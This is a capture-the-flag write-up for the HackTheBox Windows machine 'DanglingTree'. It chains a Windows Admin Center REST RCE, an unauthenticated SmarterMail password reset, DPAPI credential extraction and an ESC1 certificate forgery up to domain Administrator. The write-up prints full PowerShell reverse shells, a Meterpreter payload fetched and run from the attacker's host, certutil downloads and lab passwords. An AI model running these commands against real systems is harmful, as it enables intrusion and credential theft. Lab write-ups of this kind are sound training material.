hackthebox / medium / windows

DanglingTree

Platform
HackTheBox
Difficulty
OS

Summary

DanglingTree is a medium AD box built on two forgotten services and a dead certificate template. A stale Windows Admin Center 2511 on port 6600 runs PowerShell through its REST API (CVE-2026-26119) as anderson.w. A loopback SmarterMail install lets us reset svc_mail's password unauthenticated (CVE-2026-23760), and a Volume Mount command hands us a shell as svc_mail. SmarterMail's hardcoded crypto key decrypts noah.b's stored password. DPAPI abuse on noah's saved credentials leaks alex.o, whose SUPPORT-IT group can ForceChangePassword jake.h. Jake can create AD CS template objects, so we materialize the ghost EmployeeAuthTemplate the CA already publishes, turn it ESC1, and forge an Administrator certificate.

Skills Required

  • Windows Admin Center administration and REST API knowledge
  • AD / BloodHound enumeration
  • AD CS attack path understanding
  • DPAPI credential extraction fundamentals

Skills Learned

  • WAC REST API code execution (CVE-2026-26119)
  • SmarterMail unauthenticated force-reset-password (CVE-2026-23760)
  • Decrypting SmarterMail stored passwords with the shipped key + IV
  • Ghost/orphaned certificate templates - create the object the CA already references (ESC1)
  • SharpDPAPI decryption of saved Enterprise Credentials

Enumeration

Full port scan against danglingtree.htb. Classic DC profile plus one oddball high port.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb)
445/tcp   open  microsoft-ds
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3389/tcp  open  ms-wbt-server
6600/tcp  open  ssl/mshvlm?
9389/tcp  open  mc-nmf        .NET Message Framing

Null auth works on SMB, though nxc's RPC-based share enum is denied - smbclient tree-connects fine and lists a non-default share:

smbclient -L //danglingtree.htb/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        IT              Disk
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share

The IT share holds a PDF with a set of provided credentials:

anderson.w : R3dT3am@Acc3ss#01

Running our enum wrapper with those creds paints the user landscape: svc_mail, jake.h, noah.b, alex.o, anderson.w, and groups worth filing away (Cert_Managers, Helpdesk_Cert_Support, Template_Editors, DevOps_PKI, support-it, Windows Admin Center CredSSP).

Foothold

Windows Admin Center RCE

Port 6600 serves a Windows Admin Center login page over HTTPS - https://danglingtree.htb:6600. The anderson creds sign us in. The banner reads WAC Version 2511 Build 2.6.4.11, which matches the Semperis research on CVE-2026-26119 - WAC exposes REST endpoints that execute commands on managed nodes. The one that matters sits at:

/api/services/WinREST/Powershell/nodes//InvokeCommand

Each call needs a fresh authenticated session, but a general-purpose payload looks like this:

{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}

Swapping in a PowerShell reverse shell (base64-encode the script to dodge the escape sequences):

{
"properties": {
"script": "$client = New-Object System.Net.Sockets.TCPClient('[IP]',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()",
"command": "Get-WACSMServerConnectionStatus",
"module": "Microsoft.SME.ServerManager",
"state": "ready",
"useInProcRunspace": false,
"invokeMode": "Polling"
}
}

Reverse shell as danglingtree\anderson.w.

Lateral Movement

SmarterMail on loopback → svc_mail

The box runs SmarterMail bound to 127.0.0.1:17017. Upgrade the raw shell to Meterpreter for easy forwarding.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f exe -o met.exe
python3 -m http.server 8888
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [IP]
set LPORT 4444
run

Fetch and run it from the anderson shell, then forward the loopback port:

$ProgressPreference = 'SilentlyContinue'
Invoke-WebRequest -Uri http://[IP]:8888/met.exe -UseBasicParsing -OutFile C:\Windows\Temp\met.exe
Start-Process C:\Windows\Temp\met.exe
meterpreter > portfwd add -l 17017 -p 17017 -r 127.0.0.1

SmarterMail's force-reset-password endpoint (CVE-2026-23760) resets svc_mail's password with no authentication at all:

curl -k -X POST "http://localhost:17017/api/v1/auth/force-reset-password" \
  -H "Content-Type: application/json" \
  -d '{"IsSysAdmin":"true","OldPassword":"watever","Username":"svc_mail","NewPassword":"NewPassword123!@#","ConfirmPassword":"NewPassword123!@#"}'

{"username":"","errorCode":"","errorData":"","debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n","success":true,"resultCode":200}

Login to the dashboard at localhost:17017 as svc_mail. Settings -> Volume Mounts lets us create a volume whose Volume Mount Command runs as an OS command - a clean RCE sink. Drop the reverse shell there:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('[IP]',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Shell as svc_mail.

noah.b from SmarterMail's own crypto

SmarterMail keeps mailbox settings per-user. As svc_mail we can read noah's backup config:

C:\SmarterMail\Domains\danglingtree.htb.bak\Users\noah.b\settings.json

The password_encrypted field holds his credential. It's encrypted with SmarterMail's own crypto helper - SmarterMail.Standard.dll ships the IV and key hardcoded in SmarterMail.Standard.Utilities.CryptographyHelper. Pull them from the DLL and decrypt:

noah.b : RiverDragon#Storm25

RunAs into a shell as noah:

RunasCs2.exe noah.b "RiverDragon#Storm25" cmd.exe -r [IP]:4446

User flag.

Privilege Escalation

alex.o from a DPAPI credential file

cmdkey /list on noah's session shows a saved credential for alex.o. Those live as DPAPI-protected files in noah's profile - decrypt them with SharpDPAPI, which can reuse noah's own password as the master key:

certutil -urlcache -split -f http://[IP]:80/SharpDPAPI.exe SharpDPAPI.exe
.\SharpDPAPI.exe credentials /password:RiverDragon#Storm25
[*] Triaging Credentials for current user

Folder       : C:\Users\noah.b\AppData\Roaming\Microsoft\Credentials\

  CredFile           : 57FFB67D684C67F09E7153B9C7CC3940
    guidMasterKey    : {f53fcaba-f057-48e8-8f92-0180d274bf0f}
    algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
    description      : Enterprise Credential Data
    LastWritten      : 3/27/2026 3:03:38 PM
    TargetName       : Domain:target=PC01.danglingtree.htb
    UserName         : alex.o
    Credential       : SunsetMountainPeak@2025

alex.o : SunsetMountainPeak@2025. BloodHound with that account maps the ACLs:

bloodhound-python -u alex.o -p 'SunsetMountainPeak@2025' -d danglingtree.htb -ns [IP] -c All --zip

alex.o sits in SUPPORT-IT, which holds ForceChangePassword on jake.h. Reset his password:

bloodyad --host dc.danglingtree.htb -d danglingtree.htb -u alex.o -p 'SunsetMountainPeak@2025' set password jake.h 'NewPassword123!@#'

[+] Password changed successfully!

ESC1 via a ghost certificate template

certipy-ad find as jake shows the CA is open (Enroll to Authenticated Users) but reports a surprise:

Certificate Templates : [!] Could not find any certificate templates

No pKICertificateTemplate objects exist, yet an LDAP query against the CA's certificateTemplates attribute lists names like EmployeeAuthTemplate, VPNUserTemplate, WebServer. The CA references templates that were never created (or were deleted) - a gap between what's published and what exists.

The missing piece is a principal who can create the object. BloodHound shows jake.h holds Create-Child on both CN=Certificate Templates and CN=OID. Creating an object under the already-published name EmployeeAuthTemplate sidesteps the ManageCA publish requirement entirely - the CA already trusts that name.

msfconsole -q
use auxiliary/admin/ldap/ad_cs_cert_template
set rhosts dc.danglingtree.htb
set username jake.h
set password NewPassword123!@#
set domain danglingtree.htb
set CERT_TEMPLATE EmployeeAuthTemplate
set Action CREATE
run

The module materializes a template with ESC1-favorable defaults (client-auth EKU, enrollee-supplied subject, no approval). Re-running certipy-ad find -vulnerable now flags EmployeeAuthTemplate for ESC1.

Grab the domain SID via lsaquery and subtract -500 for the built-in Administrator:

rpcclient -U 'DANGLINGTREE\jake.h%NewPassword123!@#' dc.danglingtree.htb -c 'lsaquery'
certipy-ad req -u 'jake.h@danglingtree.htb' -p 'NewPassword123!@#' -dc-ip [IP] \
  -dc-host dc.danglingtree.htb -ca 'danglingtree-DC-CA' -template 'EmployeeAuthTemplate' \
  -upn 'administrator@danglingtree.htb' -sid 'S-1-5-21-4220238332-57023728-1129110646-500' \
  -dynamic-endpoint -timeout 60

-dynamic-endpoint and -timeout 60 were both required for this Server 2025 build's RPC endpoint to answer. Out comes administrator.pfx. PKINIT with it, then UnPAC-the-hash:

certipy-ad auth -pfx administrator.pfx -dc-ip [IP] -domain danglingtree.htb

Administrator's NT hash drops out. Psexec:

impacket-psexec 'danglingtree.htb/Administrator@dc.danglingtree.htb' -hashes ':'

Root.

Key Takeaways

  • WAC on a high port is a management plane - fingerprint the version, then the REST API becomes an authenticated RCE.
  • Loopback services are the second attack surface - after the first shell, port-forward and hit the unauthenticated dashboard APIs.
  • Saved credentials leak - cmdkey /list plus DPAPI files hand over other users' passwords.
  • Ghost certificate templates are instant ESC1 - when a CA references a template with no object, Create-Child on the templates container materializes it.
  • Decrypt, don't crack - SmarterMail ships its encryption key and IV inside its own DLL.